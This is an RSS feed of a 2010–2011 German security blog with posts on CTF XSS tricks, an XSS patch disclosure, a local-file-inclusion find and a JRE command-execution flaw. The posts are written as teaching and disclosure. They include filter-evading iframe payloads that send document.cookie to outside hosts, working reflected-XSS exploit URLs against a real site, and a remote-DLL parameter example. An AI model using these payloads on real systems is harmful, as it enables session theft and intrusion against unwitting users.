<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Benjamin Flesch &#187; Sicherheit und Sonnenschein</title>
	<atom:link href="http://blog.bf-itservice.de/category/sicherheit-und-sonnenschein/feed" rel="self" type="application/rss+xml" />
	<link>http://blog.bf-itservice.de</link>
	<description>Programmkot &#38; Sicherheit</description>
	<lastBuildDate>Tue, 18 Oct 2011 06:35:35 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>Geschützt: Exploiting SAP&#8217;s IDS for fun</title>
		<link>http://blog.bf-itservice.de/485/exploiting-sap-intrusion-detection-system-for-fun</link>
		<comments>http://blog.bf-itservice.de/485/exploiting-sap-intrusion-detection-system-for-fun#comments</comments>
		<pubDate>Mon, 17 Oct 2011 21:39:56 +0000</pubDate>
		<dc:creator>Beni</dc:creator>
				<category><![CDATA[Sicherheit und Sonnenschein]]></category>
		<category><![CDATA[Tipps&Tricks]]></category>
		<category><![CDATA[Exploit]]></category>
		<category><![CDATA[IDS]]></category>
		<category><![CDATA[Payload]]></category>
		<category><![CDATA[SAP.com]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://blog.bf-itservice.de/?p=485</guid>
		<description><![CDATA[Es gibt keine Kurzfassung, da dies ein geschützter Artikel ist.]]></description>
			<content:encoded><![CDATA[<form action="http://blog.bf-itservice.de/wp-pass.php" method="post">
<p>Dieser Artikel ist durch ein Passwort geschützt. <br />Um ihn anzusehen, trage es bitte hier ein:</p>
<p><label for="pwbox-485">Passwort:<br />
<input name="post_password" id="pwbox-485" type="password" size="20" /></label><br />
<input type="submit" name="Submit" value="Senden" /></p></form>
]]></content:encoded>
			<wfw:commentRss>http://blog.bf-itservice.de/485/exploiting-sap-intrusion-detection-system-for-fun/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Gruyere: Das Hackme von Google</title>
		<link>http://blog.bf-itservice.de/481/gruyere-das-hackme-von-google</link>
		<comments>http://blog.bf-itservice.de/481/gruyere-das-hackme-von-google#comments</comments>
		<pubDate>Sun, 10 Jul 2011 21:44:01 +0000</pubDate>
		<dc:creator>Beni</dc:creator>
				<category><![CDATA[Sicherheit und Sonnenschein]]></category>
		<category><![CDATA[Code Execution]]></category>
		<category><![CDATA[CSRF]]></category>
		<category><![CDATA[DOS]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[Gruyere]]></category>
		<category><![CDATA[Hackme]]></category>
		<category><![CDATA[Path Traversal]]></category>
		<category><![CDATA[Websicherheit]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://blog.bf-itservice.de/?p=481</guid>
		<description><![CDATA[Google hat mit Gruyere ein ziemlich umfassendes Hackme auf Google App Engine veröffentlicht, das je nach vorliebe des Benutzers große Angriffsfläche für Black- und White-Box Security Audits bietet. Die Webapplikation ist in Python geschrieben und inklusive Sourcecode verfügbar. Jeder &#8220;Sicherheitstester&#8221; bekommt seine eigene Instanz der Webapplikation und kann sich in dieser Sandbox nach belieben austoben. [...]]]></description>
			<content:encoded><![CDATA[<p>Google hat mit <strong>Gruyere</strong> ein ziemlich umfassendes Hackme auf Google App Engine veröffentlicht, das je nach vorliebe des Benutzers <strong>große Angriffsfläche für Black- und White-Box Security Audits</strong> bietet. Die Webapplikation ist in Python geschrieben und inklusive Sourcecode verfügbar. Jeder &#8220;Sicherheitstester&#8221; bekommt seine eigene Instanz der Webapplikation und kann sich in dieser Sandbox nach belieben austoben. </p>
<p>Dazu kommt, dass alle existierenden Sicherheitslücken kategorisiert und mit Tipps und Beispielexploits versehen sind. Der <strong>spielhafte Charakter</strong> mit detaillierten Beschreibungen der zu Grunde liegenden Bugs anhand von Beispielcode erlaubt es auch Anfängern viele Facetten der Sicherheitsprobleme von Webapplikationen zu verstehen.</p>
<p>Hat man <a href="https://google-gruyere.appspot.com/">Gruyere erst einmal ausprobiert</a>, kann sich jeder vorstellen wie Code Execution, Denial of Service, XSS, CSRF und weitere Designfehler zustande kommen und zum eigenen Profit eingesetzt werden können.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.bf-itservice.de/481/gruyere-das-hackme-von-google/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Eine schöne XSS-Payload</title>
		<link>http://blog.bf-itservice.de/402/eine-schone-xss-payload</link>
		<comments>http://blog.bf-itservice.de/402/eine-schone-xss-payload#comments</comments>
		<pubDate>Sat, 09 Jul 2011 11:17:01 +0000</pubDate>
		<dc:creator>Beni</dc:creator>
				<category><![CDATA[Sicherheit und Sonnenschein]]></category>
		<category><![CDATA[Tipps&Tricks]]></category>
		<category><![CDATA[Cookie Stealer]]></category>
		<category><![CDATA[Iframe]]></category>
		<category><![CDATA[Javascript Obfuscation]]></category>
		<category><![CDATA[Payload]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://blog.bf-itservice.de/?p=402</guid>
		<description><![CDATA[Ich war vor einiger Zeit während eines Capture the Flaw Wettbewerbs in der Situation, dass ich mit Hilfe einer XSS-Lücke an die Cookies des Benutzers kommen musste. An für sich ist das nichts ungewöhnliches &#8211; jedenfalls bis auf die dort eingesetzte Blacklist: Die Strings cookie, http://, script und diverse weitere HTML-Tags wurden gefiltert. Erfolg gab [...]]]></description>
			<content:encoded><![CDATA[<p>Ich war vor einiger Zeit während eines <a href="http://en.wikipedia.org/wiki/Capture_the_flag#Computer_security">Capture the Flaw Wettbewerbs</a> in der Situation, dass ich mit Hilfe einer XSS-Lücke an die Cookies des Benutzers kommen musste. An für sich ist das nichts ungewöhnliches &#8211; jedenfalls bis auf die dort eingesetzte Blacklist: </p>
<p>Die Strings <code>cookie</code>, <code>http://</code>, <code>script</code> und <strong>diverse weitere HTML-Tags</strong> wurden gefiltert.</p>
<p>Erfolg gab es dann hiermit:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="html" style="font-family:monospace;">&lt;iframe src=//google.de onload=&quot;this.src=['//www.evilsite.com?steal=',eval(['docume','nt.co','okie'].join(''))].join('')&quot;&gt;&lt;/iframe&gt;</pre></td></tr></table></div>

<p>Kurze Erklärung: </p>
<ul>
<li>Ich lege durch das <code>&lt;iframe&gt;</code>-Tag einen Iframe an, der auf http://www.google.de zeigt. </li>
<li>Dieser bekommt ein <code>onload</code>-Event zugewiesen.</li>
<li>Der darin enthaltene Javascript-Code erstellt aus Teilstücken das Wort <code>document.cookie</code>, packt es in die <code>eval</code>-Funktion um es als Variable auszuwerten und hängt danach den Rückgabewert &#8211; also den Cookie des Benutzers &#8211; an die URL des Iframes an.</li>
</ul>
<p>Ich war positiv überrascht von der Eleganz meiner Lösung und freue mich immer, wenn ich weitere Beispiele für kreativen Umgang mit Restriktionen finde <img src='http://blog.bf-itservice.de/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://blog.bf-itservice.de/402/eine-schone-xss-payload/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Evoluted.net PHP Directory Listing XSS Vulnerability</title>
		<link>http://blog.bf-itservice.de/471/evoluted-net-php-directory-listing-xss-vulnerability</link>
		<comments>http://blog.bf-itservice.de/471/evoluted-net-php-directory-listing-xss-vulnerability#comments</comments>
		<pubDate>Sat, 09 Jul 2011 10:27:31 +0000</pubDate>
		<dc:creator>Beni</dc:creator>
				<category><![CDATA[Programmieren]]></category>
		<category><![CDATA[Sicherheit und Sonnenschein]]></category>
		<category><![CDATA[Evoluted.net]]></category>
		<category><![CDATA[Patch]]></category>
		<category><![CDATA[PHP Directory Listing]]></category>
		<category><![CDATA[Security Vulnerability]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://blog.bf-itservice.de/?p=471</guid>
		<description><![CDATA[I noticed a security vulnerability in the PHP Directory Listing Script made by Ash Young from Evoluted.net. Some input isn&#8217;t properly sanitized before it is returned to the user, rendering the application&#8217;s users vulnerable to a XSS flaw. To resolve this vulnerability, the following patch needs to be applied to the PHP Directory List v3.1 [...]]]></description>
			<content:encoded><![CDATA[<p>I noticed a security vulnerability in the <a href="http://www.evoluted.net/thinktank/web-development/php-directory-listing-script">PHP Directory Listing Script</a> made by <a href="http://www.evoluted.net/thinktank/author/Ash">Ash Young</a> from Evoluted.net.</p>
<p>Some input isn&#8217;t properly sanitized before it is returned to the user, rendering the application&#8217;s users vulnerable to a XSS flaw.</p>
<p>To resolve this vulnerability, the following patch needs to be applied to the <strong>PHP Directory List v3.1</strong> source code which makes use of <code>urlencode</code> instead of <code>strip_slashes</code> to sanitize user input:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
</pre></td><td class="code"><pre class="diff" style="font-family:monospace;"># diff index.php /tmp/directoryv3.1/index.php 
<span style="color: #440088;">391c391</span>
<span style="color: #991111;">&lt; 	$baseurl = strip_tags<span style="">&#40;</span>$_SERVER<span style="">&#91;</span>'PHP_SELF'<span style="">&#93;</span><span style="">&#41;</span> . '?dir='.urlencode<span style="">&#40;</span>$_GET<span style="">&#91;</span>'dir'<span style="">&#93;</span><span style="">&#41;</span> . '&amp;amp;';</span>
<span style="color: #888822;">---
<span style="color: #00b000;">&gt; 	$baseurl = strip_tags<span style="">&#40;</span>$_SERVER<span style="">&#91;</span>'PHP_SELF'<span style="">&#93;</span><span style="">&#41;</span> . '?dir='.strip_tags<span style="">&#40;</span>$_GET<span style="">&#91;</span>'dir'<span style="">&#93;</span><span style="">&#41;</span> . '&amp;amp;';</span></span></pre></td></tr></table></div>

<p>Thanks goes out to <a href="http://blog.bf-itservice.de/455/nn-crew-hackt-bundespolizei-hat-eigene-sicherheitslucken#comment-1886">Anon</a> for pointing out that <a href="http://blog.bf-itservice.de/455/nn-crew-hackt-bundespolizei-hat-eigene-sicherheitslucken">this previous vulnerability</a> is originally found in <strong>PHP Directory Listing from Evoluted.net</strong>.</p>
<p>The programmer in charge has been notified of this issue.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.bf-itservice.de/471/evoluted-net-php-directory-listing-xss-vulnerability/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Auch die NN-Crew macht Fehler</title>
		<link>http://blog.bf-itservice.de/455/nn-crew-hackt-bundespolizei-hat-eigene-sicherheitslucken</link>
		<comments>http://blog.bf-itservice.de/455/nn-crew-hackt-bundespolizei-hat-eigene-sicherheitslucken#comments</comments>
		<pubDate>Fri, 08 Jul 2011 11:32:49 +0000</pubDate>
		<dc:creator>Beni</dc:creator>
				<category><![CDATA[Politisches]]></category>
		<category><![CDATA[Sicherheit und Sonnenschein]]></category>
		<category><![CDATA[root]]></category>
		<category><![CDATA[Bundespolizei]]></category>
		<category><![CDATA[Firefox]]></category>
		<category><![CDATA[NN-Crew]]></category>
		<category><![CDATA[Quirks Mode]]></category>
		<category><![CDATA[Sicherheitslücke]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://blog.bf-itservice.de/?p=455</guid>
		<description><![CDATA[Nachdem durch Indymedia und nicht zuletzt Felix von Leitner (fefe) die Welt über den Hack einiger Bundespolizei-Server durch die &#8220;No-Name-Crew&#8221; aufgeklärt wurde, ist mir die URL der Veröffentlichung auf dl.nn-crew.cc sehr typisch für Angriffsziele von Cross-Site Sripting (XSS) &#8211; Attacken vorgekommen: http://dl.nn-crew.cc/index.php?dir=2-NN-Crew+-+Leaks%2FBundespolizei%2F Und siehe da, der GET-Parameter dir kann nicht nur den kompletten Pfad zu [...]]]></description>
			<content:encoded><![CDATA[<p>Nachdem durch <a href="http://linksunten.indymedia.org/de/node/42728">Indymedia</a> und nicht zuletzt <a href="http://blog.fefe.de/?ts=b0e80892">Felix von Leitner</a> (fefe) die Welt über den Hack einiger Bundespolizei-Server durch die &#8220;No-Name-Crew&#8221; aufgeklärt wurde, ist mir die URL der Veröffentlichung auf <code>dl.nn-crew.cc</code> sehr typisch für Angriffsziele von Cross-Site Sripting (XSS) &#8211; Attacken vorgekommen:</p>
<p><code>http://dl.nn-crew.cc/index.php?dir=2-NN-Crew+-+Leaks%2FBundespolizei%2F</code></p>
<p>Und siehe da, der GET-Parameter <code>dir</code> kann nicht nur den kompletten Pfad zu einem Ordner enthalten, sondern auch einen <strong>netten XSS-Vektor</strong>. Die Tatsache, dass der für dieses PHP-Script zuständige Programmierer aus Reihen der &#8220;No-Name-Crew&#8221; vollständige HTML-Tags löscht &#8211; also <code>&lt;</code>, <code>&gt;</code> und alle Zeichen dazwischen &#8211; zeugt von keinem wirklichen Überblick über das Zustandekommen von XSS-Lücken.</p>
<p><a href="http://blog.bf-itservice.de/wp-content/uploads/2011/07/nn-xss.png"><img src="http://blog.bf-itservice.de/wp-content/uploads/2011/07/nn-xss.png" alt="" title="nn-xss" width="420" height="313" class="alignnone size-full wp-image-459" /></a></p>
<p>Aufbau einer erfolgreichen Attacke:</p>
<ol>
<li>durch ein <code>"</code> wird das <code>HREF</code>-Attribut des <code>&lt;a&gt;</code>-Tags beendet. Nun können wir beliebige weitere Attribute des Link-Tags definieren.</li>
<li>Ein Leerzeichen gefolgt von <code>onmouseover=alert('XSS')</code> verpasst dem Link ein Event, das beim &#8220;Mit-der-Maus-drüberfahren&#8221; einen von mir bestimmten Javascript-Code ausführt.</li>
<li>Durch <code>style=position:absolute;top:0;left:0;right:0;bottom:0 </code> sagen wir dem Browser, dass der Link das gesamte Browserfenster ausfüllen soll. Somit wird der Benutzer das <code>onmouseover</code>-Event ausführen, sobald er seine Maus über <strong>irgendeinen Bereich</strong> der Homepage bewegt.</li>
<li>Und zuletzt wird der Angriffsvektor durch ein <code>alt=</code> abgeschlossen. Dieses Attribut wird benötigt, weil der Browser sonst beim Rendern eine Fehlermeldung melden würde.</li>
</ol>
<p>Wenn alle oben genannten Punkte zusammenbaut werden, so kommt man auf folgenden Angriff (<a href="http://dl.nn-crew.cc/index.php?dir=2-NN-Crew+-+Leaks%2FBundespolizei%2FBP_PACK_No-Name-Crew%2FGPSTracker%2FGPSTracker+PAIP+OpenLayers%2FVollstaendige+Setups%2F%27%22%20onmouseover=alert%28String.fromCharCode%2888,83,83%29%29;%20style=position:absolute;top:0;left:0;bottom:0;right:0;%20alt=">Selbst Ausprobieren</a>):</p>
<p><code>http://dl.nn-crew.cc/index.php?dir=2-NN-Crew+-+Leaks%2FBundespolizei%2FBP_PACK_No-Name-Crew%2FGPSTracker%2FGPSTracker+PAIP+OpenLayers%2FVollstaendige+Setups%2F%27%22%20onmouseover=alert%28String.fromCharCode%2888,83,83%29%29;%20style=position:absolute;top:0;left:0;bottom:0;right:0;%20alt=</code></p>
<p>In <a href="http://blog.bf-itservice.de/wp-content/uploads/2011/07/nn-url.png">diesem Quelltext-Screenshot</a> sieht man, wie der <strong>Quirks Mode</strong> von Mozilla Firefox den Angriff ausführt.</p>
<h2>Angriff geht nicht immer</h2>
<p>Durch den einen eingebauten Schutz vor <a href="http://de.wikipedia.org/wiki/Cross-Site_Scripting#Nicht-persistent_oder_reflexiv">reflexivem XSS</a> sind Benutzer von Chrome/Chromium oder der Firefox-Extension &#8220;NoScript&#8221; von dem in diesem Post genannten Angriff <strong>nicht betroffen</strong>. Ich persönlich habe den Angriff unter Mozilla Firefox getestet.</p>
<h2>Gedanken zum Bundespolizei-Hack</h2>
<p>Es ist sehr peinlich, dass die Bundespolizei wahrscheinlich <a href="http://linksunten.indymedia.org/image/42731.jpg">auf Grund einer alten PHPMyAdmin-Version</a> gehackt wurde und eine so schlecht gesicherte <a href="http://linksunten.indymedia.org/image/42734.jpg">Trackingsoftware</a> verwendet, dass sogar Angreifer mit rudimentärem Know-How sie erfolgreich ownen können.</p>
<h2>Update &#8211; 08. Juli 2011, Mittag:</h2>
<p>Der Autor des Scripts hat nun offensichtlich die Sicherheitslücke bemerkt und behoben, mein ursprüngliches Proof of Concept-Exploit funktioniert nicht mehr. Leider kann man aber nur bedingt von &#8220;behoben&#8221; sprechen, die <strong>Maßnahme gegen XSS</strong> ist nun das Wort <code>"alert"</code> aus dem String zu löschen.</p>
<p>Wird die XSS-Payload nun durch <code>eval(String.fromCharCode(....))</code> ersetzt, kann man wie vorher auch die Seite der &#8220;No-Name-Crew&#8221; exploiten. <a href="http://dl.nn-crew.cc/index.php?dir=2-NN-Crew+-+Leaks%2FBundespolizei%2FBP_PACK_No-Name-Crew%2FGPSTracker%2FGPSTracker+PAIP+OpenLayers%2FVollstaendige+Setups%2F%27%22%20onmouseover=eval%28String.fromCharCode%2897,108,101,114,116,40,39,88,115,115,39,41,59%29%29%20style=position:absolute;top:0;left:0;bottom:0;right:0;%20alt=">Sehr peinlich.</a></p>
<h2>Update 2 &#8211; 08. Juli 2011, später Abend:</h2>
<p>Nun wurde die Sicherheitslücke wie von <a href="http://blog.bf-itservice.de/471/evoluted-net-php-directory-listing-xss-vulnerability">mir vorgeschlagen</a> durch ein URL-Encoding der Parameter behoben <img src='http://blog.bf-itservice.de/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://blog.bf-itservice.de/455/nn-crew-hackt-bundespolizei-hat-eigene-sicherheitslucken/feed</wfw:commentRss>
		<slash:comments>18</slash:comments>
		</item>
		<item>
		<title>Schöner XSS-Vektor</title>
		<link>http://blog.bf-itservice.de/403/schoner-xss-vektor</link>
		<comments>http://blog.bf-itservice.de/403/schoner-xss-vektor#comments</comments>
		<pubDate>Sat, 25 Sep 2010 15:12:15 +0000</pubDate>
		<dc:creator>Beni</dc:creator>
				<category><![CDATA[Programmieren]]></category>
		<category><![CDATA[Sicherheit und Sonnenschein]]></category>
		<category><![CDATA[Blacklist]]></category>
		<category><![CDATA[Cookie]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://blog.bf-itservice.de/?p=403</guid>
		<description><![CDATA[Ich war gerade in der Situation, dass ich mit einem XSS-Vektor Cookies stehlen musste. An für sich ist das nichts ungewöhnliches, bis auf die Blacklist: cookie, http://, script und diverse weitere HTML-Tags wurden gefiltert. 1 &#60;iframe src=&#34;//google.de&#34; onload=&#34;this.src=['//www.roonk.de?ctf4=',eval(['docume','nt.co','okie'].join(''))].join('')&#34;&#62;&#60;/iframe&#62;]]></description>
			<content:encoded><![CDATA[<p>Ich war gerade in der Situation, dass ich mit einem XSS-Vektor Cookies stehlen musste. An für sich ist das nichts ungewöhnliches, bis auf die Blacklist: cookie, http://, script und diverse weitere HTML-Tags wurden gefiltert.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #339933;">&lt;</span>iframe src<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;//google.de&quot;</span> <span style="color: #000066;">onload</span><span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;this.src=['//www.roonk.de?ctf4=',eval(['docume','nt.co','okie'].join(''))].join('')&quot;</span><span style="color: #339933;">&gt;&lt;/</span>iframe<span style="color: #339933;">&gt;</span></pre></td></tr></table></div>

<p> <img src='http://blog.bf-itservice.de/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://blog.bf-itservice.de/403/schoner-xss-vektor/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Unsicherer PHP-Programmierer</title>
		<link>http://blog.bf-itservice.de/394/unsicherer-php-programmierer</link>
		<comments>http://blog.bf-itservice.de/394/unsicherer-php-programmierer#comments</comments>
		<pubDate>Mon, 16 Aug 2010 12:00:56 +0000</pubDate>
		<dc:creator>Beni</dc:creator>
				<category><![CDATA[Fehlerteufel]]></category>
		<category><![CDATA[Programmieren]]></category>
		<category><![CDATA[Sicherheit und Sonnenschein]]></category>
		<category><![CDATA[Tipps&Tricks]]></category>
		<category><![CDATA[Hack]]></category>
		<category><![CDATA[Job]]></category>
		<category><![CDATA[Local File Inclusion]]></category>
		<category><![CDATA[Perl]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[PHP Hardening]]></category>
		<category><![CDATA[Sicherheitslücken]]></category>

		<guid isPermaLink="false">http://blog.bf-itservice.de/?p=394</guid>
		<description><![CDATA[Seit einigen Tagen habe ich eine Stelle als PHP-Programmierer ausgeschrieben und auf diese Weise jemanden gesucht, die mir bei aufwändigen Arbeiten etwas hilft. Ich habe schon viele gute Bewerbungen erhalten, aber sie waren alle nichts gegen den Kerl, der heute morgen per Email hereingeflogen kam. Die Eckdaten waren schonmal vielversprechend: 12+ years PHP experience 8+ [...]]]></description>
			<content:encoded><![CDATA[<p>Seit einigen Tagen habe ich eine Stelle als <strong>PHP-Programmierer</strong> ausgeschrieben und auf diese Weise jemanden gesucht, die mir bei aufwändigen Arbeiten etwas hilft.</p>
<p>Ich habe schon viele gute Bewerbungen erhalten, aber <strong>sie waren alle nichts</strong> gegen den Kerl, der heute morgen per Email hereingeflogen kam. Die Eckdaten waren schonmal vielversprechend:</p>
<ul>
<li>12+ years PHP experience</li>
<li>8+ years Perl experience</li>
<li>sehr ansprechender Stundenlohn</li>
</ul>
<p>Das klingt nach einem <strong>Perl-Guru</strong>, der dann auf PHP umgesattelt ist, nicht wahr?</p>
<p>Es wurden <strong>zwei PHP-Projekte zur Referenz</strong> angeboten, direkt mal angeschaut und <strong>vom Stuhl gefallen</strong>. Der Grund ist nicht wirklich schwer zu finden, die URL sah wie folgt aus:</p>
<p><code>http://XXXXXXXXXXXX.com/<strong>?main=pce/index.php</strong></code></p>
<p>Für die Personen die spätestens jetzt total verwirrt sind: Der Homepage wird hinter dem <strong>?</strong> der Variable <strong>main</strong> die Adresse zu einem PHP-Script zugewiesen (und zwar <strong>pce/index.php</strong>). </p>
<p>Wenn man also den Inhalt von <strong>main</strong> entsprechend verändert, kann man beliebige Dateien des Servers anzeigen. Beispiel:</p>
<p><a href="http://blog.bf-itservice.de/wp-content/uploads/2010/08/urk.png"><img src="http://blog.bf-itservice.de/wp-content/uploads/2010/08/urk.png" alt="" title="urk" width="562" height="38" class="alignnone size-full wp-image-396" /></a></p>
<p>So können wir die Datei <strong>/etc/passwd</strong> auslesen, in der Informationen über die Benutzeraccounts eines Linux-Systems gespeichert sind. Natürlich ist jetzt auch nicht mehr weit bis zu einem erfolgreichen Hack, aber darum geht es an dieser Stelle auch nicht.</p>
<p><a href="http://blog.bf-itservice.de/wp-content/uploads/2010/08/passwd.png"><img src="http://blog.bf-itservice.de/wp-content/uploads/2010/08/passwd-300x227.png" alt="Benutzerliste des Servers - /etc/passwd" title="passwd" width="300" height="227" class="alignleft size-medium wp-image-397" /></a></p>
<p>Es gab noch einige weitere Sicherheitslücken in seinen Referenzprojekten, und nett wie ich bin habe ich sie ihm natürlich auch sofort mitgeteilt. </p>
<p>Den Job wird er aber nicht bekommen und hiermit verabschiede ich mich, sprachlos. <img src='http://blog.bf-itservice.de/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://blog.bf-itservice.de/394/unsicherer-php-programmierer/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Kritische Sicherheitslücke im Java Runtime Environment (JRE)</title>
		<link>http://blog.bf-itservice.de/362/kritische-sicherheitslucke-im-java-runtime-environment-jre</link>
		<comments>http://blog.bf-itservice.de/362/kritische-sicherheitslucke-im-java-runtime-environment-jre#comments</comments>
		<pubDate>Fri, 09 Apr 2010 16:01:50 +0000</pubDate>
		<dc:creator>Beni</dc:creator>
				<category><![CDATA[Fehlerteufel]]></category>
		<category><![CDATA[Sicherheit und Sonnenschein]]></category>
		<category><![CDATA[]]></category>
		<category><![CDATA[-J-XXaltjvm]]></category>
		<category><![CDATA[-XXaltjvm]]></category>
		<category><![CDATA[Chrome]]></category>
		<category><![CDATA[Command Execution]]></category>
		<category><![CDATA[Firefox]]></category>
		<category><![CDATA[Java]]></category>
		<category><![CDATA[JRE]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[Remote File Inclusion]]></category>
		<category><![CDATA[Sicherheitslücke]]></category>

		<guid isPermaLink="false">http://blog.bf-itservice.de/?p=362</guid>
		<description><![CDATA[Wie Reverse Mode heute morgen berichtete, gibt es eine ziemlich schlimme Sicherheitslücke beim Verarbeiten von JAVA-Einbindungen durch Browser, die das Java-Plugin installiert haben &#8212; und das ist so ziemlich jeder Browser, den es gibt. Auch Chrome und Firefox sind betroffen, genauso wie die entsprechenden Linux-Versionen des JREs. Bei der Sicherheitslücke handelt sich um eine Command [...]]]></description>
			<content:encoded><![CDATA[<p>Wie <a href="http://www.reversemode.com/index.php?option=com_content&amp;task=view&amp;id=67&amp;Itemid=1">Reverse Mode</a> heute morgen berichtete, gibt es eine ziemlich schlimme Sicherheitslücke beim Verarbeiten von JAVA-Einbindungen durch Browser, die das Java-Plugin installiert haben &#8212; und das ist so ziemlich jeder Browser, den es gibt. Auch Chrome und Firefox sind betroffen, genauso wie die entsprechenden Linux-Versionen des JREs.</p>
<p>Bei der Sicherheitslücke handelt sich um eine <strong>Command Execution Vulnerability</strong> die durch unterlassenes Überprüfen der Aufrufparameter von <code>javaws.exe</code> entstanden ist. Wenn ein bei der Einbindung von Java-Applets angegebener Parameter in der Form vom <code>" -XXaltjvm="\\12.34.56.78\virus.dll</code> vorliegt, wird von dem Java Runtime Environment die Datei unter <code>\\12.34.56.78\virus.dll</code> heruntergeladen und ausgeführt. Ooops!</p>
<p>Der folgende Codeschnipsel dürfte genügend Aufschluss über die Einbindung der betroffenen Parameter <code>docbase</code> und <code>launchjlnp</code> geben.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>browser <span style="color: #339933;">==</span> <span style="color: #0000ff;">'MSIE'</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	document<span style="color: #339933;">.</span>write<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'&lt;'</span> <span style="color: #339933;">+</span> <span style="color: #0000ff;">'object classid=&quot;clsid:8AD9C840-044E-11D1-B3E9-00805F499D93&quot; '</span>
		<span style="color: #339933;">+</span> <span style="color: #0000ff;">'width=&quot;0&quot; height=&quot;0&quot;&gt;'</span> <span style="color: #339933;">+</span> <span style="color: #0000ff;">'&lt;'</span> <span style="color: #339933;">+</span> <span style="color: #0000ff;">'PARAM name=&quot;launchjnlp&quot; value=&quot;'</span> <span style="color: #339933;">+</span> jnlp <span style="color: #339933;">+</span> <span style="color: #0000ff;">'&quot;'</span> <span style="color: #339933;">+</span> <span style="color: #0000ff;">'&gt;'</span>
		<span style="color: #339933;">+</span> <span style="color: #0000ff;">'&lt;'</span> <span style="color: #339933;">+</span> <span style="color: #0000ff;">'PARAM name=&quot;docbase&quot; value=&quot;'</span> <span style="color: #339933;">+</span> jnlpDocbase <span style="color: #339933;">+</span> <span style="color: #0000ff;">'&quot;'</span> <span style="color: #339933;">+</span> <span style="color: #0000ff;">'&gt;'</span>
		<span style="color: #339933;">+</span> <span style="color: #0000ff;">'&lt;'</span> <span style="color: #339933;">+</span> <span style="color: #0000ff;">'/'</span> <span style="color: #339933;">+</span> <span style="color: #0000ff;">'object'</span> <span style="color: #339933;">+</span> <span style="color: #0000ff;">'&gt;'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>browser <span style="color: #339933;">==</span> <span style="color: #0000ff;">'Netscape Family'</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	document<span style="color: #339933;">.</span>write<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'&lt;'</span> <span style="color: #339933;">+</span> <span style="color: #0000ff;">'embed type=&quot;application/x-java-applet;jpi-version='</span>
		<span style="color: #339933;">+</span> deployJava<span style="color: #339933;">.</span>firefoxJavaVersion <span style="color: #339933;">+</span> <span style="color: #0000ff;">'&quot; '</span> <span style="color: #339933;">+</span> <span style="color: #0000ff;">'width=&quot;0&quot; height=&quot;0&quot; '</span>
		<span style="color: #339933;">+</span> <span style="color: #0000ff;">'launchjnlp=&quot;'</span> <span style="color: #339933;">+</span>  jnlp <span style="color: #339933;">+</span> <span style="color: #0000ff;">'&quot;'</span> <span style="color: #339933;">+</span> <span style="color: #0000ff;">'docbase=&quot;'</span> <span style="color: #339933;">+</span>  jnlpDocbase <span style="color: #339933;">+</span> <span style="color: #0000ff;">'&quot;'</span> <span style="color: #339933;">+</span>	<span style="color: #0000ff;">' /&gt;'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p>Bis zu einem Schließen dieser Sicherheitslücke sollte jeder im Browser Java ausstellen.</p>
]]></content:encoded>
